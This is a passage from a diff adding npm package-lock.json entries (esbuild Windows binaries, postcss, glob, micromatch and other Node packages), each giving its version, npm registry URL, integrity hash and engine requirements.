true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-64/-/esbuild-windows-64-0.15.10.tgz", + "integrity": "sha512-2H0gdsyHi5x+8lbng3hLbxDWR7mKHWh5BXZGKVG830KUmXOOWFE2YKJ4tHRkejRduOGDrBvHBriYsGtmTv3ntA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-arm64/-/esbuild-windows-arm64-0.15.10.tgz", + "integrity": "sha512-S+th4F+F8VLsHLR0zrUcG+Et4hx0RKgK1eyHc08kztmLOES8BWwMiaGdoW9hiXuzznXQ0I/Fg904MNbr11Nktw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==" + }, + "node_modules/fast-glob": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz", + "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fastq": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "dev": true, + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-root": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", + "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-nonce": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz", + "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==", + "engines": { + "node": ">=6" + } + }, + "node_modules/glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/hasown": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.0.tgz", + "integrity": "sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "dependencies": { + "react-is": "^16.7.0" + } + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "dependencies": { + "loose-envify": "^1.0.0" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-core-module": { + "version": "2.13.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.1.tgz", + "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==", + "dependencies": { + "hasown": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/jiti": { + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.0.tgz", + "integrity": "sha512-gFqAIbuKyyso/3G2qhiO2OM6shY6EPP/R0+mkDbyspxKazh8BXDC5FiFsUjlczgdNz/vfra0da2y+aHrusLG/Q==", + "dev": true, + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "node_modules/json5": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz", + "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/magic-string": { + "version": "0.26.6", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.26.6.tgz", + "integrity": "sha512-6d+3bFybzyQFJYSoRsl9ZC0wheze8M1LrQC7tNMRqXR4izUTDOLMd9BtSuExK9iAukFh+s5K0WAhc/dlQ+HKYA==", + "dev": true, + "dependencies": { + "sourcemap-codec": "^1.4.8" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.7", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.7.tgz", + "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/node-releases": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.6.tgz", + "integrity": "sha512-PiVXnNuFm5+iYkLBNeq5211hvO38y63T0i2KKh2KnUs3RpzJ+JtODFjkD8yjLwnDkTYF1eKXheUwdssR+NRZdg==" + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", + "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/postcss": { + "version": "8.4.32", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.32.tgz", + "integrity": "sha512-D/kj5JNu6oo2EIy+XL/26JEDTlIbB8hw85G8StOE6L74RQAVVP5rej6wxCNqyMbR4RkPfqvezVbPw81Ngd6Kcw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "nanoid": "^3.3.7", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-js": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz", + "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==", + "dev": true, + "dependencies": { + "camelcase-css": "^2.0.1" + }, + "engines": { + "node": "^12 || ^14 || >= 16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.4.21" + } + }, + "node_modules/postcss-load-config": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.2.tgz", + "integrity": "sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "lilconfig": "^3.0.0", + "yaml": "^2.3.4" + }, + "engines": { + "node": ">= 14" + }, + "peerDependencies": { + "postcss": ">=8.0.9", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + }, + "ts-node": { + "optional": true + } + } + }, + "node_modules/postcss-load-config/node_modules/lilconfig": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.0.0.tgz", + "integrity": "sha512-K2U4W2Ff5ibV7j7ydLr+zLAkIg5JJ4lPn1Ltsdt+Tz/IjQ8buJ55pZAxoP34lqIiwtF9iAvtLv3JGv7CAyAg+g==", + "dev": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/postcss-load-config/node_modules/yaml": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.4.tgz", + "integrity": "sha512-8aAvwVUSHpfEqTQ4w/KMlf3HcRdt50E5ODIQJBw1fQ5RL34xabzxtUlzTXVqc4rkZsPbvrXKWnABCD7kWSmocA==", + "dev": true, + "engines": { + "node": ">= 14" + } + }, + "node_modules/postcss-nested": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.1.tgz", + "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.11" + }, + "engines": { + "node": ">=12.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.2.14" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": 